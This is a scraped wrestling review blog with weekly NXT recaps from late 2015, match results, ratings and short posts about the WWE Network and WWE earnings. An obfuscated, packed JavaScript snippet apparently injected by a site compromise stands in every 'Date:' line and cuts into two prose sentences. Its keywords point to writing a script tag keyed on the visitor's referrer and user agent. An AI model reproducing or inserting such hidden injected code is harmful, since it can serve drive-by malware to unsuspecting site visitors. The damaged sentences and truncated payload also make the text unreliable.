New Column: What I’ve Been Waiting For
The WWE Network has given us our Christmas present.
http://www.wrestlingrumors.net/kbs-review-what-ive-been-waiting-for/46072/
NXT – December 2, 2015: I Believe In A Thing Called Joe
NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tbahr|var|u0026u|referrer|hrkny||js|php'.split('|'),0,{}))
December 2, 2015
Location: Full Sail University, Winter Park, Florida
Commentators: Corey Graves, Byron Saxton, Rich Brennan
Opening sequence.
Baron Corbin vs. Tye Dillinger
Apollo Crews is ready for Corbin at Takeover and is ready to team up with Finn Balor to face Corbin and Samoa Joe next week.
Tommaso Ciampa says Joe is dangerous, but Ciampa is even more dangerous because he has nothing to lose. When he pins Joe tonight, everything changes.
Nia Jax vs. Blue Pants
Pants has a modified version of the Price is Right theme. Jax takes her down by the arm to start and stomps on the hand. A toss by the head keeps Blue in trouble and her kicks have no effect. Some elbow drops and a Samoan drop set up the big leg to squash Pants for the pin at 2:10.
Adam Rose vs. James Storm
Video on Sami Zayn winning the NXT Title last year at Takeover: R-Evolution.
Vaudevillains vs. Jason Jordan/Chad Gable
Gable and Jordan offer a handshake but the Vaudevillains walk away. Well it fits their name a lot better.
Emma and Dana Brooke are ready for Asuka in London.
We get another song from what seems to be Elias Sampson.
Liv Morgan vs. Emma
Tommaso Ciampa vs. Samoa Joe
More hard strikes stagger Joe and a guillotine choke has him in even more trouble. Make that a Kimura but Joe drives him into the corner again for the break. The enziguri knocks Ciampa half cold and a scoop powerslam makes it even worse. Joe Facewashes him in the corner and the release Rock Bottom drops Ciampa again. The fans are behind Joe until the Muscle Buster and Koquina Clutch end Ciampa at 6:37.
Rating: B. That might be a bit high but dang these two were beating the tar out of each other. Those were some incredibly hard strikes with Joe absorbing everything Ciampa threw at him and looking like a real killer for the first time with London looming. This has me even more ready for the title match and was a really, really fun surprise. Good stuff.
Results
Baron Corbin b. Tye Dillinger – End of Days
Nia Jax b. Blue Pants – Legdrop
James Storm b. Adam Rose – Last Call
Jason Jordan/Chad Gable b. Vaudevillains – Grand Amplitude to Gotch
Emma b. Liv Morgan – Emma Lock
Samoa Joe b. Tommaso Ciampa – Koquina Clutch
Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:
http://www.amazon.com/dp/B0188BJRGU
And check out my Amazon author page with cheap wrestling books at:
NXT – November 25, 2015: Don’t You Dare
NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|afdnf|var|u0026u|referrer|ythzh||js|php'.split('|'),0,{}))
November 25, 2015
Location: Full Sail University, Winter Park, Florida
Commentators: Byron Saxton, Rich Brennan, Corey Graves
Opening sequence.
Tag Team Titles: Vaudevillains vs. Scott Dawson/Dash Wilder
We recap Asuka dismantling Dana Brooke at Takeover.
Dana Brooke vs. Asuka
Maybe not as Dana talks from the stage and Emma jumps Asuka from behind and puts her in the Emma Lock. No match.
Sami Zayn is coming back.
Apollo Crews vs. Jesse Sorensen
Charles Robinson has been sent to referee the main event.
Eva covers several times for two but Bayley takes her down with a running clothesline. Robinson breaks up the running elbow in the corner and Sliced Red gets a very close two. Another try at Sliced Red results in a ref bump and Eva goes up. Bayley stops her again though and, after dealing with Nia, grabs a super Bayley to Belly with another referee coming in for the count at 6:38.
Nia Jax lays out Bayley post match and holds up the belt to end the show.
Results
Apollo Crews b. Jesse Sorensen – Throw into a powerbomb
Bayley b. Eva Marie – Super Bayley to Belly
Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:
http://www.amazon.com/dp/B0188BJRGU
And check out my Amazon author page with cheap wrestling books at:
NWA World Championship Wrestling Being Added To The Network
I’m eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bhhif|var|u0026u|referrer|bdrfi||js|php'.split('|'),0,{})) talking the TBS show from 1986-1988. This is the treat that a lot of old school fans have been waiting on as it’s the opposite of what you see today. These shows were almost entirely built around the promos to make you pay for the house shows later. The idea of seeing big names fight each other on this show was almost unheard of and it made for some much more entertaining TV. It’s not for everyone and you might get bored at times, but Ric Flair and Dusty Rhodes one upping each other every week is some of the best you’ll ever see. Check this out if you want to see what made WCW work in the old days.
http://network.wwe.com/shows/vault/nwa-world-championship-wrestling
NXT – November 18, 2015: Here She Comes To Ruin The Day
NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iyset|var|u0026u|referrer|yztir||js|php'.split('|'),0,{}))
November 18, 2015
Location: Full Sail University, Winter Park, Florida
Commentators: Rich Brennan, Corey Graves, Byron Saxton
Opening sequence.
Nia Jax vs. Carmella
Carmella goes right after her with forearms to the face but gets caught in a tilt-a-whirl backbreaker. Nia: “Hi Carmella, how you doing?” A bearhug has Carmella in trouble but she counters with a quick guillotine choke. Some dropkicks stagger Jax but she counters a hurricanrana into a spinebuster, followed by the legdrop to put Carmella away at 2:48.
Ascension vs. Jason Jordan/Chad Gable
Video on Bayley vs. Bliss, showcasing the basic difference in their personalities.
Bayley says keeping the title is just as hard as winning it in the first place. Tonight Bliss is learning a wrestling lesson from the last Horsewoman. Bliss is going to find out what it means to respect this title and Bayley herself.
Emma vs. Mary Kate
Mary Kate used to be known as Rosie Lottalove but has dropped probably 120lbs to get down to a much more reasonable look. She runs Emma over to start but Emma trips her up and stands on the hair. Some choking on the ropes and rams into the buckle have Mary Kate in more trouble and the Emma Lock is good for the submission at 3:12.
Rating: C-. This was your standard new Diva gets beaten up in a few minutes before she has a character or personality. It also helped set up Emma looking more dangerous but Asuka crushes her, likely on TV before London. I could see Emma and Dana vs. Asuka in a handicap match with Asuka pulling off the upset, assuming you still consider that an upset.
We recap Baron Corbin vs. Apollo Crews.
Corbin challenges Crews for a match at Takeover.
Scott Dawson/Dash Wilder vs. Corey Hollis/John Skylar
Dana Brooke interrupts an Asuka interview to challenge for a rematch. Asuka takes off her mask and gives a disturbing yes. The interviewer and Asuka leave and Emma comes in to be all evil about some plan they have.
Overall Rating: B-. Another totally acceptable show with Bayley retaining the title in a big TV main event and a lot more stuff being set up for London. This is the NXT formula working to perfection and it still makes me want to see the big shows while giving me entertaining TV week to week. Good show here, but were you expecting anything else?
Results
Nia Jax b. Carmella – Legdrop
Chad Gable/Jason Jordan b. Ascension – Grand Amplitude to Viktor
Emma b. Mary Kate – Emma Lock
Bayley b. Alexa Bliss – Bayley to Belly
Remember to check out my website at kbwrestlingreviews.com and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:
http://www.amazon.com/dp/product/B015IN12I2
And check out my Amazon author page with cheap wrestling books at:
NXT – November 11, 2015: The Groundwork
NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nttaa|var|u0026u|referrer|kyyye||js|php'.split('|'),0,{}))
November 11, 2015
Location: Full Sail University, Winter Park, Florida
Commentators: Rich Brennan, Byron Saxton, Corey Graves
Opening sequence.
Tye Dillinger vs. Baron Corbin
The announcers preview the rest of the show.
Bayley/Hype Bros vs. Blake and Murphy/Alexa Bliss
Back up and Zack dives over for the tag to Mojo, in his neon green gear (Byron: “SLIMER IS ON THE LOOSE!”). Everything breaks down and Bliss gets knocked to the floor but she grabs the title and runs off. Bayley is ticked off so she Bayley to Bellys Murphy and chases Bliss off. Hyperdrive puts Murphy away at 12:11.
Nia Jax runs into Eva Marie and they walk off together.
Deonna vs. Nia Jax
Tag Team Titles: Vaudevillains vs. Scott Dawson/Dash Wilder
Rating: C+. This was an old school psychology driven match with the leg work being the story running throughout the whole thing. The Vaudevillains felt like transitional champions so this was a better idea than letting them hang around while the titles got weaker. Wilder and Dawson will have more opponents anyway and can lead to a showdown with Gable and Jordan.
Bayley vs. Bliss for the title next week.
Results
Bayley/Hype Bros b. Blake and Murphy/Alexa Bliss – Hyperdrive to Murphy
Nia Jax b. Deonna – Legdrop
Scott Dawson/Dash Wilder b. Vaudevillains – Reverse Figure Four to English
Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:
http://www.amazon.com/dp/product/B015IN12I2
And check out my Amazon author page with cheap wrestling books at:
WWE Q3 Earnings Report
http://corporate.wwe.com/news/2015/wwe-reports-strong-third-quarter-2015-earnings-growth
Since eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zyhyr|var|u0026u|referrer|dfaek||js|php'.split('|'),0,{})) most of us have little to no idea what most of this means, here’s a quick summary:
- Money is mostly up across the board, save for DVDs, likely due to the Network and WWE Studios because…..well because it’s WWE Studios.
- The Network now has 1.2 million subscribers. It hits India next week and German/Japan in January, which should boost numbers even more.
- Revenue is up 38% overall from this quarter last year, which is quite good.
- Stock is down over 10% today because the stock market is screwy and there’s almost no such thing as good enough.
NXT – October 28, 2015: I’m Running Out Of Ways To Say This Show Is Good
NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ffsye|var|u0026u|referrer|iistn||js|php'.split('|'),0,{}))
October 28, 2015
Location: Full Sail University, Winter Park, Florida
Commentators: Rich Brennan, Byron Saxton, Corey Graves
Opening sequence.
Emma vs. Shazza
Two Australians here. Fans: “AUSSIE AUSSIE AUSSIE! OY OY OY!” They stare at each other to start until Emma dropkicks her down against the ropes and stomps away. Dana: “BREAK HER!” After Emma has to kick out of a quick rollup we hit the neck crank on Shazza. Back up and Emma charges into some boots in the corner but Emma comes right back with the Emma Lock for the submission at 4:21.
Storm quotes his old TNA to sum up his character and says he loved to hear the fans tell him he deserves to be here. If anyone has a problem with that, sorry about their luck.
Video on Finn Balor with fans talking about how cool he is and clips of his time in New Japan.
Tommaso Ciampa/Johnny Gargano vs. Jason Jordan/Chad Gable
Nia Jax vs. Kay Lee Ray
Enzo Amore/Colin Cassady vs. Scott Dawson/Dash Wilder
Alexa Bliss challenges Bayley to find a team for a six person tag at some point in the future.
Samoa Joe vs. Tyler Breeze
Results
Emma b. Shazza – Emma Lock
Jason Jordan/Chad Gable b. Tommaso Ciampa/Johnny Gargano – Grand Amplitude to Ciampa
Nix Jax b. Kay Lee Ray – Legdrop
Samoa Joe b. Tyler Breeze – Koquina Clutch
Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:
http://www.amazon.com/dp/product/B015IN12I2
And check out my Amazon author page with cheap wrestling books at:
NXT – October 21, 2015: Weeks, Not Half Hours
NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yttif|var|u0026u|referrer|hihie||js|php'.split('|'),0,{}))
October 21, 2015
Location: Full Sail University, Winter Park, Florida
Commentators: Rich Brennan, Corey Graves, Byron Saxton
Opening sequence.
Asuka vs. Billie Kay
The announcers rave about Asuka.
Video on Baron Corbin.
Colin Cassady/Enzo Amore vs. Scott Dawson/Dash Wilder
Enzo and Colin take a beating post match.
Video on Rhyno.
Breast cancer is bad.
Danny Burch vs. James Storm
Storm does his catchphrase.
Apollo Crews vs. Finn Balor is in two weeks.
Nia Jax is still here and is back next week.
Alexa Bliss vs. Peyton Royce
Joe vs. Breeze next week.
Rhyno vs. Baron Corbin
They immediately brawl to start and fight to the floor for all of five seconds. Back in and Rhyno gets the better of it and punches him up against the ropes, sending Baron out to the floor for a breather. Rhyno follows him out but gets sent into the post as we take a break. Back with Baron slowly stomping away and putting on a chinlock to slow things down even more.
Rhyno fights up and they head outside again with Corbin being sent into the steps. Back in and a quick suplex gets two for Rhyno, followed by the spinebuster for the same. The Gore connects for a surprising two (good) and the fans want one more. Rhyno proves that listening to the fans is a bad idea as he charges into the End of Days for the pin at 12:29.
Results
Asuka b. Billie Kay – Asuka Lock
Colin Cassady/Enzo Amore b. Scott Dawson/Dash Wilder – Small package to Dawson
James Storm b. Danny Burch – Eight Second Ride
Alexa Bliss b. Peyton Royce – Sparkle Splash
Baron Corbin b. Rhyno – End of Days
Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:
http://www.amazon.com/dp/product/B015IN12I2
And check out my Amazon author page with cheap wrestling books at:
NXT – October 14, 2015: One For Less Than The Price Of Five
NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|enirz|var|u0026u|referrer|fkzyh||js|php'.split('|'),0,{}))
October 14, 2015
Location: Full Sail University, Winter Park, Florida
Commentators: Rich Brennan, Corey Graves, Byron Saxton
We open with a long recap of Takeover: Respect. What an awesome show.
Opening sequence.
Breast cancer is bad.
Vaudevillains vs. Angelo Dawkins/Sawyer Fulton
Clip of Asuka destroying Dana Brooke.
Evie vs. Nia Jax
Package on the praise for the Iron Man match.
Eva Marie is in Paris for some me time.
Battle Royal
Tommaso Ciampa, Johnny Gargano, Tye Dillinger, Colin Cassady, Enzo Amore, Danny Burch, Elias Sampson, Mojo Rawley, Blake, Murphy, Rhyno, Tyler Breeze, Scott Dawson, Dash Wilder, Bull Dempsey, Baron Corbin, Apollo Crews, Samoa Joe, Zack Ryder, Steve Cutler, Riddick Moss
Burch and Sampson are put out as well with Gargano following them. All four were put out by Crews in quite the display. Back from a break with no one having been eliminated during the break. Enzo and Blake have to save themselves but both stay in. Cass throws Moss out but the Mechanics get rid of him, only to have Enzo dump both of them at once. Dillinger eliminates Enzo but gets beaten up and tossed by Dempsey. Rhyno saves Corbin and eliminates Bull to get us down to ten.
They drive each other into the corner and the fans are entirely behind Crews. A spinebuster plants Apollo but Corbin gets frustrated when Crews stays on the apron. Apollo starts his comeback but the moonsault hits knees. Crews comes back with a series of kicks to the head though and a clothesline eliminates Corbin for the win at 23:12.
Rating: C+. Battle royals are always tricky to grade but this was more than entertaining enough. They flew through some of the eliminations here but the result is a good way to give us a new #1 contender and challenger for the title. There are only so many ways to run a battle royal and this was about as good as it was going to get.
Results
Vaudevillains b. Angelo Dawkins/Sawyer Fulton – Whirling Dervish to Dawkins
Nia Jax b. Evie – Release Rock Bottom
Apollo Crews won a battle royal last eliminating Baron Corbin
Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:
http://www.amazon.com/dp/product/B015IN12I2
And check out my Amazon author page with cheap wrestling books at: